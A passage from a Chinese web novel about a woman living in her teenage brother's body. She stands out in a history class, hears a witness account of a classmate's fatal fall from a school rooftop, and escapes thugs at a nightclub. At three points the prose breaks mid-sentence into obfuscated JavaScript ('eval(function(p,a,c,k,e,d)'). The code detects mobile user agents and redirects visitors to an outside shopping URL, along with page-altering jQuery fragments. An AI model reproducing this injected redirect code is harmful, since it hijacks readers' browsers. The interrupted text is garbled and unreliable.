窗外摩托车的声音远了,只剩下风吹过巷子的声音。 沈知窈靠在床头,手机屏幕的光映在脸上,把那行字照得发白。 她盯着这行字,很久没动。 窗外有风,吹得窗框轻轻响。楼下偶尔传来几声狗叫,懒洋洋的,像是做梦喊了几嗓子又睡过去。她弟这张床太硬,硌得后背发酸,但她这会儿顾不上那些。 她脑海里突然浮现出许则安这个人的身影,但不是现在的许则安,很多年前的那个许则安。 她想起刚来学校那一年,第一次见他是在楼道里,他抱着一摞书从对面走过来,侧身让路的时候点了点头,算是打过招呼。 那时候她刚入职,还刚从一场官司里出来,整个人像一张揉皱的纸,谁都不想理,谁都不想见,她记得他的脸,但不记得名字。 后来慢慢知道,他叫许则安,比她早来几年,教的是城市文化研究方向,开会的时候他坐在斜对面,她偶尔抬头,会碰上他的目光。那种目光不烫人,也不躲闪,就是坦诚又温良,她向来是迟钝的,丝毫没往心里去。 再后来,她收到那本书。 那本关于老街巷的口述史,扉页上写着一行字:给知窈,愿你看见这座城市真正的样子。 没有落款,没有日期,就这十几个字。 她认出了他的笔迹——开会的时候见过他做笔记,字迹清瘦,一笔一划都收得很紧。 她不知道他为什么送这本书,但她也没多问。 那本书被她放在书架最底层落了一层灰,偶尔翻出来看一眼,看见那些他写过的老街巷,东四胡同、老槐树、那口没人用的井,心里会动一下。 没过多久,她身边出现了林嘉文。 林嘉文是别人介绍的,说是校友,家里条件好,工作体面,人也靠谱。 第一次见面吃饭,他点菜的时候问了她忌口,记得她不吃香菜。第二次见面看电影,他买了她喜欢的那种爆米花,甜的不加太多焦糖。第三次见面他送她回家,在楼下站了一会儿,说“我觉得你挺好的”。 她那时候太累了,累到有人对她好一点,就忍不住想抓住。林嘉文说话温柔,做事周到,看起来像一艘能靠岸的船,她妥协了。 后来她才知道,那艘船看着光鲜亮丽,实则里边都是破铜烂铁。 记得有一次,系里聚餐,许则安也在。 她坐在角落里,林嘉文过来接她,当着所有人的面,示威一般揽住她的肩,笑着说“我家知窈麻烦你们照顾了”。她看见许则安端着酒杯的手顿了一下,然后他低下头,没再看她。 还有一次,在图书馆门口,她抱着几本书往外走,迎面碰见许则安。对方刚想开口说什么,却被从后面追上来的林嘉文打断,他手里拎着一杯热奶茶,递给她的时候表现得格外亲昵,顺手把她额前的碎发别到耳后。 许则安站在那儿,话到嘴边又咽回去,只是点了点头,将时间留给她和林嘉文,侧身让她们过去。 刚走出几步,她听见林嘉文问:“许则安经常找你吗?” 她只是平淡回答:“只是同事。” 林嘉文半开玩笑道:“我知道——不过窈窈,他看着你的时候,眼神不太对。” 再后来,她发现许则安不再定点刷新,工作也调换了岗位,她便开始察觉到了不对味。 她问过林嘉文一次:“你是不是跟许则安说过什么?” 林嘉文看着她,笑得很温柔:“我能跟他说什么?我跟他又不熟。顶多呀,跟他顺口说几句话,然后炫耀炫耀,我有一个这么棒的女朋友,可能是嫉妒我羡慕我吧,有这么善解人意的女朋友。怎么了,他跟你说什么了?” 她摇了摇头,说不上来哪里不对劲,只能将所有疑惑凝炼成两个字:“没事。” 沈知窈是真的不知道。 不知道许则安那天晚上在图书馆门口等了多久,不知道他后来多少次想开口又咽回去,不知道林嘉文那些“顺口说的话”里夹着多少刺。 直到今天,沈渡舟将这些事提了起来。 她拿起手机,打了几个字,又删掉,再打,再删,反复几次,最后还是放弃了。 她只回了一句话:“再说吧。” 沈渡舟那边很快回了:“你每次都再说吧。” 沈渡舟说得对,她每次都再说吧,好像只要往后推,就不用面对、不用决定、不用冒险。 她看着那些字,脑海中浮现出具体画面,站在路灯下说“我等”的人,让她心里的磐石开始松动。 像冰封了很久的河面,裂开一道细缝。 下午第二节课是历史,沈知窈终于来上学了,前几天为了配合平头,只能装病逃学,一连几天都没去学校。 她在家里也没闲着,拿着沈渡舟买的猫粮四处投喂小猫,顺便还去了几回沈渡舟初中的学校。 这一天,她破天荒地将自己收拾整齐了,坐在了教室里。 沈知窈对这节课原本没抱什么期待,她弟的历史课本她翻过,页脚卷着,空白处画了几个小人,正文干干净净像是没翻开过。 讲台上站着一个五十多岁的女老师,姓何,头发花白,戴一副老花镜,说话慢条斯理,板书一笔一划写得极工整。 讲的是魏晋南北朝的门阀制度。 何老师在黑板上画了一个世系图,琅琊王氏、陈郡谢氏、太原王氏,一条条线纵横交错,像一张密不透风的网。底下趴倒一片,有人睡觉,有人偷偷玩手机,有人把头埋在书堆后面看小说。 沈知窈听着听着,不知不觉坐直了。 何老师讲到“王与马,共天下”的时候,停顿了一下,问了一句:“你们知道这句话什么意思吗?” 底下鸦雀无声。 沈知窈咬着笔尖,下意识接了一句:“说的是东晋开国的时候,琅琊王氏的势力大到可以和司马氏皇权平起平坐。王导是开国元勋,王敦掌兵权,整个朝廷里一半以上的职位都是琅琊王氏的人。那句‘共天下’不是夸张,是当时的政治现实。” 沈知窈纯粹是犯了职业毛病。 何老师愣了一下,目光越过一排排趴着的脑袋,落在最后一排靠窗的位置。 “沈渡舟?” 沈知窈心里咯噔一下,她忘了自己现在是谁了。她弟那个从来不听课的人,突然接老师的话,这不是找死吗? 何老师盯着她看了几秒,推了推老花镜。 “你接着说。” 沈知窈骑虎难下,只能硬着头皮往下说。 “门阀制度的形成其实有一个漫长的过程。东汉时期就开始有累世公卿的家族,比如弘农杨氏、汝南袁氏,四世三公那种。到了魏晋,九品中正制把这个制度固定下来,‘上品无寒门,下品无势族’,阶层固化得很厉害。西晋灭吴之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345260|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,南方士族和北方士族之间还有矛盾,陆机的《辩亡论》里就写过这个。后来永嘉之乱,衣冠南渡,北方士族跑到南方,跟当地士族抢地盘,又形成新的格局。” 何老师脸上的表情开始变了。 沈知窈没注意到,她越说越顺。 “其实门阀制度的衰落从东晋后期就开始了。孙恩卢循之乱、桓玄之乱,把很多旧族打散了。刘裕出身寒门,当了皇帝之后,虽然表面上还尊重士族,但实际权力已经慢慢收归皇权。到了侯景之乱,梁武帝没能控制住局面,江南士族被屠杀殆尽,门阀制度就彻底完了。陈朝的时候虽然还有余烬,但已经不成气候。北方的情况不太一样,北魏孝文帝改革,把鲜卑贵族也纳入门阀体系,但后来六镇起义,武川集团崛起,关陇贵族取代了旧的门阀,到了隋唐,科举制度慢慢成熟,门阀就彻底退出历史舞台了。” 她说完之后,才发现教室里安静得能听见窗外的风声。 所有人都扭过头看着她。那些趴着的脑袋不知什么时候全抬起来了,那些玩手机的把手机攥在手里忘了放下,那些看小说的书掉在桌上也没人捡。几十双眼睛齐刷刷落在她身上,像看一个突然开口说话的哑巴,又像看一只本该在动物园里却跑到大街上的动物。 “不会是照着书本念的吧……” “书上没写,你看书了没……” 底下一片窸窸窣窣的议论声。 何老师摘下老花镜,擦了擦又戴上,戴上不舒服又摘下来。 “你刚才说的那些,是从哪儿看的?” 沈知窈张了张嘴。想说是课本,但她弟的课本她根本没翻过。想说是课外书,但她弟那个书架上除了几本漫画什么都没有。 “以前……看过一些。” 何老师问道:“哪些书?” 沈知窈脑子飞快地转——《晋书》她读过一部分,做研究的时候查过资料;《宋书》《南齐书》翻过;《颜氏家训》里关于士族的记载她记得一些;田余庆的《东晋门阀政治》她研究生的时候当教材读过,唐长孺的几本书也是必读的……但这些能说吗?她弟一个高中生,怎么可能读这些? 她挑了一个最保险的。 “《世说新语》,有一个动漫就是讲的这个,我很喜欢。” 何老师看着她,眼神里有一种很奇怪的东西——不像是怀疑。 “还有呢?” 沈知窈硬着头皮继续编。 “《颜氏家训》,还有一些……网上找的文章。” 何老师笑了:“沈渡舟同学很厉害啊,触类旁通,非常有想法。” 她就那么直挺挺站着,全班人也都那么坐着。阳光从窗户照进来,落在地板上,落在一张张仰起的脸上,落在讲台上那盒粉笔上。 那盒粉笔用得只剩几根,白的一堆,彩色的三两根,横七竖八躺着。 何老师把老花镜戴回去推了推。 “《世说新语》里,关于谢安那条‘东山再起’的典故,出自哪一篇?” 沈知窈想了想,想着这几天本来就窝囊,已经箭到弦上不得不发,索性装个大的。 “《排调》篇。原文是‘谢公在东山,朝命屡降而不动。后出为桓宣武司马,将发新亭,朝士咸出饯送。高灵时为中丞,亦往相祖。先时多少饮酒,因倚如醉,戏曰:卿屡违朝旨,高卧东山,诸人每相与言:安石不肯出,将如苍生何!今亦苍生将如卿何?’谢笑而不答。” 教室里安静得能听见粉笔在讲台上轻轻滚动的声响。那根白色的粉笔不知被谁碰了一下,咕噜噜滚到桌边停住了。 何老师转过身,继续讲课。 但那节课剩下的时间里,她的目光总是有意无意地落在最后一排。下课的时候,她收拾好教案,走到沈知窈桌边。 “沈渡舟,你出来一下。” 19. 不速之客 课下,沈知窈跟着她走到走廊上。 何老师背对着阳光站在窗边看着她,“你刚才说那些,不是高中生该知道的。” 沈知窈客气地嘿嘿笑了两声,有点尴尬。 何老师看着她,那眼神很复杂,像在看一个谜:“你最近变化挺大。” 沈知窈心想,那确实大,此沈渡舟非沈渡舟。 “下周学校有个历史知识竞赛,每个班要推一个人,你来。” 沈知窈抬头,愣了一下:“我?” 何老师点了点头:“不光这个,一个月后区里有辩论赛,题目是‘门阀制度对古代中国的影响是正面大于负面还是负面大于正面’,我想让你去。” 沈知窈张了张嘴,有点震惊。 何老师看着她,慈祥的眼神里闪着一点光:“你刚才说的那些,够用了。你有这个底子,回头我给你几本书,你再看一遍,肯定能拿个好成绩。” 交代完,何老师就离开了。 沈知窈站在原地,看着何老师的背影消失在楼梯拐角。阳光从窗户斜斜地照进来,落在地板上,把那一片照得发白,能看见空气里浮着的细小灰尘,慢悠悠地飘着,纷纷扰扰的,像一些无处可去的念头。 不是怀疑也不是试探,给沈知窈的感觉是,像走了很远的路,在天快黑的时候又累又乏,却突然看见荒凉的尽头有一盏灯。 沈知窈站在那里,心里涌起一阵说不清的滋味。她曾无数次设想,自己一觉醒来,突然发现自己梦回初高中,她会做什么。 她只是幻想,却从没想到真的有这么一天。 何老师不知道她是谁,不知道她身体里装着的是另一个人。何老师只是看见一个突然开了窍的学生,看见那些本不该从这个年纪的人嘴里说出来的话,然后她什么都没问,只是说,你来。 她没说“你怎么知道的”,没说“你是不是作弊”,没觉得这个学生不正常,也没有戴着有色眼镜看她。 何老师只说,你来——这种信任,沈知窈很久没尝过了。 她想起自己当年读研究生的时候,也有过这样的老师。那时候她做什么都有人点头,说什么都有人听,她以为自己会一直那样走下去。 后来出了那件事,那些点头的人把头扭开了,那些听的人耳朵也聋了。她一个人在泥潭里爬了很久,爬出来的时候,身上那股劲已经磨得差不多了。 她没想到,会在沈渡舟的学校里,用沈渡舟的身体,重新尝到这种滋味。 年轻真好啊! 她低下头,看了看自己的手——沈渡舟的手,骨节分明,手背上有几道细小的划痕,虎口处还有一道淡淡的疤。 这双手打过架,抽过烟,也在那些她不知道的夜里,祭奠过死去的好朋友。 她把那双手攥成拳头,又松开。 下午的阳光从窗户照进来,落在她身上暖洋洋的。走廊上有学生跑过,书包拍打着后背,脚步声噼里啪啦响。有人在喊“等等我”,有人在笑,那些声音混在一起,让人非常羡慕。 放学的时候,沈知窈在校门口被一个人拦住了。 是个女生,沈知窈不认识。瘦瘦的,短发,眉眼长得挺清秀,穿着一件洗得发白的校服,袖口磨破了。 她站在校门口那棵老槐树底下,手里攥着一个塑料袋,看见沈知窈出来,快步走过来,挡在她面前。 沈知窈停下来看着她,那女生也盯着她,眼神冷得像冬天早上的霜,但那冷底下压着别的东西,太满了,压不住,从边边角角渗出来。 “沈渡舟?” “是我。” 但那女生没说话,就那么盯着她。沈知窈被她看得浑身不自在,那目光像刀子,一下一下刮过来,却不急着落下来。 这个女生胸前挂着走读生的学生证,名字是赵雨桐。 沈知窈没听过这个名字。 “有事?”沈知窈狐疑开口问道。 赵雨桐看着她,眼睛里有东西在动。不是眼泪,是别的什么,比眼泪更坚硬、能称之为恨的东西。 她把手里那个塑料袋往前一递:“这个,你拿着。” 沈知窈低头一看,袋子里装着一个粉色的保温盒,边角磕掉了一块漆,露出底下白色的塑料。 “什么东西?”沈渡舟不确定弟弟和这个女生是什么关系。 不像是情侣,也不像仇家。 赵雨桐没解释,只是把袋子塞进她手里。 “他以前爱吃我妈包的饺子,今天是他的日子,我包了一些,不知道该送哪儿。” 沈知窈伸出的手停了一瞬。 他的日子?小武的日子。 一开始沈知窈没反应过来,突然才悟了这女孩眼里复杂的情感。 她抬起头,看着面前这个女孩。瘦瘦的,短发,眉眼清秀,袖口磨破了,指甲剪得很短,干干净净的,指节上有几个细小的茧子,像是握笔握出来的。 “你怎么知道我在这儿?” 赵雨桐别过脸去,看着那棵老槐树。 “你每天放学都走这条路,我一直都看着你呢。” 沈知窈接过饺子,忐忑地抓紧口袋。 赵雨桐又转过身来:“我跟他从小一起长大,从幼儿园就是同学,小学一个班,初中还是一个班。他家住我楼上,他家阳台和我家阳台对着,晚上写作业的时候,拉开窗帘能看见对方的台灯。” 只可惜,他还没来得及上高中。 她说得很慢,像在说一件很久远的事,久到已经不太记得细节了,只能慢慢想,慢慢往外掏。 “他出事那天早上,我们还一起吃的早饭,他家的油条,我家的豆浆,两家人在楼下碰见了,就拼了一张桌子。他咬了一口油条,说今天的有点硬,我说那你蘸豆浆吃。他就傻兮兮地蘸了,吃得挺香。” 沈知窈站在那里,听着这些话,心里怪别扭的,冷冷地有点发毛。 赵雨桐的声音平平的,没什么起伏,但越是这样,那些话越往心里扎。 “吃完了他先走,说要早点去学校,他走的时候回头看了我一眼,挥了挥手。我说放学等我一起走,他说行。” “但他没等到放学。” 沈知窈听得喉咙有些发紧。 赵雨桐低下头,看着地上那些被风吹落的黄色槐树叶,那落在地上的叶子干枯得像薯片,踩上去咔嚓响。 “那天的事,你知道吗?” 沈知窈想说知道,也想说不知道,但什么都说不出来。 赵雨桐抬起头,眼睛里那点东西终于兜不住了,汹涌地溢出来,顺着脸颊往下流。但她没出声,就是流着泪,一下一下用手背擦掉。 “他被人骗上天台上的时候,你为什么不来救我们?你来的时候,一切都已经晚了。” 沈知窈的喉咙像被什么东西堵住了,她声音有些发涩:“我……” 赵雨桐的声音开始发抖,但她压着,压得很低:“你是不是也看到了?” 沈知窈不是沈渡舟,她是沈知窈。她不知道那天她弟在哪儿,她不知道她弟当时在想什么,她不知道她弟这些年每天晚上做的那些梦。 但她弟日记里写过,周磊也说过,那时候沈渡舟也在教学楼里,在楼下,在任何一个赶不及的地方——那天究竟发生了什么。 “我在天台的楼梯间。”赵雨桐哽咽着说,“我亲眼看到了——我弄出动静了,但是他们没发现我。” 赵雨桐看着她,看着她那张脸——她弟的脸,那目光像在确认什么,又像在寻找什么。 沈知窈愣住了,难道这就是李浩一直针对沈渡舟的症结所在! 沈渡舟也在现场,但不是目击证人,他并没有亲眼看到小武是不是被推下来的。 李浩他们察觉到现场有其他人在,撤离时只碰到了沈渡舟,因而理所应当认为,是沈渡舟在现场。 赵雨桐抬起手,狠狠抹了一把脸。 “我在天台上,我躲在楼梯口那个拐角后面,不敢出来。” 她的声音终于开始抖,压不住了。 “我看见他们把他堵在那儿……看见他往后退,退到栏杆边上。看见他回头看,下面那么高……我还看见李浩走过去了。” 她停住了。 风吹过来,把那棵老槐树的叶子吹得沙沙响。有几片落在她们脚边,又打着旋儿飘走了。 “他掉下去的时候,眼睛是看着我的。”赵雨桐说,声音轻得像梦话,“他看见我了。他嘴动了动,像是在喊我名字,然后他就掉下去了。” 沈知窈的心里像被什么东西攥住了,一下一下收紧。 这些话,她弟也说过,小武躺在地上,眼睛还睁着,看着人。只是她弟看见的是一双眼睛,不知道那眼睛在看谁。 沈知窈只当是沈渡舟精神出毛病了,并没有深究。 现在她知道了。 “你那时候为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345261|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出来?”沈知窈问,声音轻得像羽毛。 赵雨桐看着她,眼睛红红的,但没再哭。 “我怕。”她说,“连警察和学校都不管……我怕他们,他们那么多人,我出来能干什么?陪着一起死吗?” “我在那儿站了很久……等他们都跑了,我才下去。他已经躺在地上了,你也赶过去了,周围围了一圈人。我挤不进去,就站在外面,从人缝里看见他的手。手指还在动,一下一下的,像想抓住什么。” “我这些年,我每天做梦都梦见他。”赵雨桐说,“他站在天台上,背对着我。我喊他,他不回头。然后他往下倒,一直倒,一直倒……就是落不到地上。我一直伸手想去够他,够不着,总是差一点。” 风吹过来,把她的头发吹乱了。她没闲工夫搭理,就那么佝偻着背站着。 “你知道我为什么还在这学校待着吗?我早就不想待了。但我走不了。每次走到那栋楼底下,我就走不动了。好像有什么东西拽着我,让我看着那儿,看着那个他掉下来的地方。” “我知道不关你的事。”她说,“我知道是李浩害的他,但是……我知道你也被欺负,我都知道。” 赵雨桐顿了顿。 “但我有时候还是会想,要是那天你在,会不会不一样?要是你上去帮他,会不会他就不会死?” 沈知窈站在那里,无法回答这个问题。她也想过,用她弟的眼睛想过无数遍。 但那种问题没有答案,永远不会有。 赵雨桐低下头,看着自己那双磨破了袖口的手。 “我今天来,其实没别的意思。”她说,“我就是想找个人说说。三年了,我从来没跟任何人说过这些。今天是他生日,我不想一个人待着。” 她抬起头,看着沈知窈。 “你知道他出事前一天晚上跟我说什么吗?” 沈知窈摇头。 赵雨桐说:“他说,他有点害怕。说李浩他们最近盯他盯得紧。我说那你别一个人走,跟我一起。他说好。然后他笑了笑,说没事,有你在,我不怕。” 沈知窈想起沈渡舟日记里那行字——如果有一天我死了,别怪我。后半句她一直都不明白,什么叫“我不是故意的,我只是不知道怎么活。” 原来是这个意思。 她想起她弟画的那些画,一遍一遍画着小武,藏在桌洞最底下。 原来不是一个人,原来有人和他一样,也在等,也在怕,也在梦里一遍一遍看见那个画面。 原来那些没说完的话,那些没来得及做的事,不是只有她弟一个人扛着。 赵雨桐看着她,眼睛里的泪已经干了,只剩下一层单薄的红。 “我走了,下个月我就要搬走了。”她说,“这个留给你,你保管好,不用还给我了。” 沈知窈抱着保温盒站在原地。 走了几步赵雨桐又停下来回过头。 “那个饺子,你吃了吧,得趁热。”她说,“他以前总说想吃我妈包的饺子,后来再也没吃上。” 沈知窈站在原地,看着那个方向,很久很久,手里那个塑料袋沉甸甸的,坠得手指发酸。 夕阳把她的影子拉得很长,落在地上,黑黢黢的,像一道裂开的缝。 她想起刚才赵雨桐那双带着血丝的眼睛,像什么东西碎过又重新拼起来。拼是拼起来了,但那些裂缝还在。 那些细节,没人知道,日记里也不会写,另外,哪个正经人会写日记呢,对吧? 凉飕飕的风又吹过来,她把那个塑料袋抱紧在怀里。 校门口那棵老槐树还在,叶子黄了大半,风一吹,沙沙响。树干很粗,树皮皴裂,刻满了时间。 赵雨桐说的话还在耳边停留,一字一字,沉甸甸地压在心上,像一块巨石。那些细节像针一样扎进来,让她看见了一个活生生的小武。会吃油条,会害怕,会笑着说“有你在,我不怕”。 她想起她弟,想起他这些年每天晚上做的那些梦。梦里的小武是不是也这样,在某个瞬间掉下去,一直掉,一直掉,落不到地上。 她低下头,看着手里那个保温盒,突然看到保温盒下边儿貌似还有别的东西。 沈知窈狐疑地伸手捞出来,竟然是一个U盘。 阳光正在落下去,把半边天烧成暗红色。那红色铺天盖地,像血,又像火,落在操场上,落在教学楼顶上,落在那些三三两两往家走的人身上。 20. 丽花皇宫 丽花皇宫的走廊深处,厚重的暗紫色地毯消解了所有的脚步声,空气中弥漫着一种廉价香水混杂着陈年烟草的黏腻感。 沈知窈穿着沈渡舟那件洗得发白的灰色连帽衫,压低帽檐,借着阴影的掩护在迷宫般的包厢间穿梭。 她本不该出现在这里。 半小时前,她把U盘连接上沈渡舟那台破旧电脑,翻出了一段三年前被剪辑过的记录仪录像。 画面虽然摇晃,却清晰地记录了武岳坠楼前一刻,出现了李浩的背影。 还有一些模糊的照片,其中有一些是躲在角落里拍摄的丽花皇宫大门口的照片。 那是沈知窈从未触碰过的真相边缘——在那场被定性为自杀的悲剧里,李家从未洗清嫌疑,而沈渡舟这些年自毁式的“混混”伪装,竟是为了借机接近这个黑白通吃的销金窟。 然而,当她顺着线索推开那扇虚掩的红木大门时,映入眼帘的并非积尘的卷宗,而是一场赤裸裸的权力分赃。 包厢内灯光昏暗,李浩的母亲正摇晃着红酒杯,原本温婉的面孔在明灭的烟火下显得狰狞。 李浩的母亲多次登上当地的报纸和新闻头条,是本地小有名气的企业家,几乎没人不认识。 她对面坐着几个西装革履的男人,桌面上堆叠着几份足以撼动本地教育系统根基的拆迁协议,以及一叠印有教育局公章的保送名单。 那是沈知窈从未见过的恶心,是公权力在酒精中被蚕食的现场。 这种冲击力让她有一瞬间的失神,也就是这极短的迟疑,脚下不慎踢到了走廊边高大的青花瓷瓶。 “谁在外面?”女人的声音如毒蛇吐信,尖锐而警觉。 沈知窈转身欲走,却撞上两个守在暗处的彪形大汉。 他们像两堵黑墙,瞬间封锁了退路。 李浩母亲踩着高跟鞋走出来,看着这个“不学无术”的沈家小子,眼神里满是打扰了兴致的残忍。 她冷笑着示意手下动粗,毕竟在她眼里,一个声名狼藉的混混若是失踪或残废,在这座城市激不起半点浪花。 就在沈知窈指尖发冷、准备殊死一搏的刹那,沈知窈脑子里只有一个挥之不去的念头。。 丽花皇宫的红木大门在身后重重撞上,那沉闷的声响仿佛一记重锤,砸在沈知窈近乎崩断的神经上。 她穿着沈渡舟那件略显宽大的连帽衫,压低帽檐,在暗紫色地毯铺就的走廊里狂奔。 肺部因为剧烈的喘息而产生火烧火燎的痛感,这具属于少年的身体虽然比她原本的皮囊更有爆发力,但那股宿醉未消的虚弱感和刚才吸入的二手烟雾,此刻正化作粘稠的阻力,拖慢她的每一个动作。 身后,李家豢养的那两个壮汉沉重的脚步声如影随形,在空旷的回廊里激起令人胆战心惊的回音。 “站住!臭小子,我看你是活腻歪了!” 粗戾的吼声穿透走廊,伴随着对讲机刺耳的电流声。 沈知窈很清楚,一旦被按倒在这片阴影里,李母绝不会给她第二次走出大门的机会。那些保送名单、那些沾满血腥的拆迁协议,是李家在这一带扎根夺命的根基,而她刚才在那间包厢里的一瞥,无异于直视了美杜莎的眼睛。 她猛地转过一个直角弯,眼前是通往后厨的运货通道。侧身闪进两架堆满空酒瓶的铁架之间,浓烈的酸腐味和碎玻璃的冷光交织在一起。 那两个壮汉的速度极快,沉重的皮鞋声在几米外戛然而止。 “妈的,人呢?”其中一人恨恨地踹了一下墙皮。 沈知窈蜷缩在阴影里,屏住呼吸,指甲死死扣进掌心的软肉。 由于极度的紧张,这具身体肌肉牵动的细微颤栗让她几乎要溢出痛苦的呻吟。她看着那两双黑色的皮鞋在铁架缝隙外来回踱步,那一刻,时间仿佛被无限拉长,每一秒都像是处刑台上的倒计时。 就在对方准备搬动铁架的瞬间,不远处的洗碗间传来一声清脆的瓷器碎裂声——那是沈知窈刚才顺手丢过去的一个空酒瓶。 趁着壮汉被声响吸引的空档,沈知窈如同一只受惊的猎豹,猛地冲向那扇半掩着的后门。那是通往外界唯一的生路,门缝里透出的冷清月光,此刻却比任何霓虹都要耀眼。 冲出丽花皇宫的那一刻,午夜微凉的空气像冰水般灌入肺部,暂时压制了那种眩晕感。 但这里是李家的地盘,附近整条街的安保巡逻都姓李。她不能走大路,只能钻进那些横七竖八、如同蛛网般的旧巷。 那是沈渡舟最熟悉的战场,却是沈知窈最陌生的迷宫。 她在长满青苔的砖墙间穿行,脚下的球鞋踩过积水坑,溅起一身污泥。身后的追兵并没有放弃,几道手电筒的光束在巷口晃动,像极了索命的招魂幡。 沈知窈在巷尾的一个转角处,因为体力透支重重地撞在了一堆废弃的纸箱上。 膝盖处传来钻心的剧痛,大概是磕破了。她挣扎着想要站起来,视线却开始模糊。就在这时,巷口尽头的路灯下,出现了一辆银灰色的轿车。车边站着一个清瘦的身影,正拿着文件夹,和身旁几个学生模样的人低声交谈着什么。 那人推了推金丝眼镜,侧脸在路灯下显得温润而斯文。 许则安。 沈知窈在那一瞬间几乎以为自己产生了幻觉。 作为学院里有单独课题组的同事,许则安这种规矩到近乎刻板的男人,绝不该出现在这种灯红酒绿的灰色地带。 但她随即想起,最近学院确实有一个关于“边缘地带社会治理”的调研项目,负责人正是这位调回来的新贵许则安。 求生的本能战胜了理智。沈知窈踉跄着冲出阴影,在那几道手电筒光束投射过来之前,一头撞进了许则安的视线里。 “许老师……帮帮我。” 她的声音沙哑得厉害,那是沈渡舟那种略带磁性的少年音,但在极度的惊恐下,那语调里藏不住的哀求和战栗,却透着某种让许则安感到没由来的熟悉感。 许则安下意识地扶住这个满身污泥、眼神惊惶的少年。他的第一反应是警惕,作为一名严谨的学者,他不习惯这种突如其来的肢体接触,尤其是对方看起来像个刚从斗殴现场逃出来的混混。 “你是谁?冷静点,发生什么事了?”许则安微微皱眉,正要推开对方,却在对上那双眼睛的瞬间愣住了。 那是沈渡舟的眼睛,狭长且冷冽。可此时,那双眼里流露出的清澈、倔强以及那种几乎要溢出来的委屈,竟让他产生了一种时空错位的幻觉。 这眼神,太像沈知窈了。 像那个脊背挺直的沈知窈,像那个在雨天独自撑伞、背影寂寥的沈知窈。 “许老师,是我……我是沈知窈的弟弟。”沈知窈强压下心底的酸楚,死死抓着许则安的袖口,指尖因为用力而泛白,“后面有人在追我,他们……他们手里有东西。求你带我走,求求你。” 许则安抬头,果然看到巷口冲出了几个凶神恶煞的男人。 他的眼神瞬间沉了下来,那种平日里的温吞一扫而空,取而代之的是一种极具保护欲的凛然。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346853|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上车。”他没有多问一个字,直接拉开车门将沈知窈塞进后座,随后对身边的学生低声嘱咐,“项目调研暂停,你们先回学校。小王,你留下来报警,就说这附近有非法聚众斗殴。” 车门重重关上,银灰色轿车在追兵赶到前的一秒,猛地加速冲进了夜色中。 车内,空调的暖气缓缓包裹住沈知窈冰冷的身体,她靠在皮质座椅上,整个人脱力地瘫软下来。那种死里逃生的虚脱感让她忍不住开始发抖,不是因为冷,而是因为那种从灵魂深处渗出来的后怕。 许则安透过后视镜观察着这个少年。 他虽然口口声声说自己是“沈知窈的弟弟”,但许则安总觉得哪里不对劲。这个少年坐在车里的姿势、那种下意识抿紧嘴唇的微动作,甚至连揉太阳穴的力度,都和他暗恋多年的那个人如出一辙。 “渡舟是吗?”许则安开口,声音温润,带了一丝安抚的味道,“别怕,已经安全了。我送你去医院,还是报警?” 沈知窈猛地抬头,声音急促:“不,不去医院,也不报警。去找我姐……找沈知窈。她现在应该在家里,她知道怎么处理,我必须马上见到她。” 她没法解释,那些非法协议和保送名单已经成了烫手山芋。现在能保护她的,只有那个正披着“沈知窈”皮囊、拥有绝对武力值的沈渡舟。 许则安握着方向盘的手指微微收紧。他看着少年那张满是污泥却难掩清秀的脸,心底那股荒谬的直觉越来越强烈。 “好,我们去找你姐。” 车子在空旷的街道上疾驰,路灯的光影如走马灯般在两人脸上掠过。 沈知窈闭上眼,脑海里全是李母那张狰狞的脸和那叠名单上的名字。她知道,从今晚开始,她和沈渡舟再也没有退路。 那些原本想在身份换回来后再清算的账,现在不得不提前推向高潮。 当车子那排梧桐树下时,沈渡舟已经站在路灯边等着了。他穿着沈知窈那身清冷的白色风衣,长发被晚风吹得有些凌乱,双手插在兜里,眼神阴郁得仿佛能拧出水来。 沈知窈推开车门,跌跌撞撞地冲向那道身影。 许则安也下了车,他站在车边,看着那个一向端庄内敛的沈知窈,竟然不顾形象地快步上前,一把接住了那个满身狼狈的少年。 在那一刻,许则安看到了一个他从未见过的沈知窈。她的眼神里没有丝毫平时的温婉,取而代之的是一种极致的暴戾与心疼。 沈知窈修长的手指死死扣住少年的肩膀,压低的声音里带着杀气:“谁?谁动的你?” 沈知窈摇了摇头,“我好像惹祸了……” 她把头埋在对方的肩膀上,那种血脉相连的感应让她终于找回了真实感,兴许是惊魂未定,眼泪不自觉地淌了下来她也毫无察觉。 许则安站在不远处,看着这对姐弟在路灯下紧紧相拥。那画面明明透着浓浓的温情,可在他眼里,却散发着一种令人窒息的、无法插足的扭曲感。 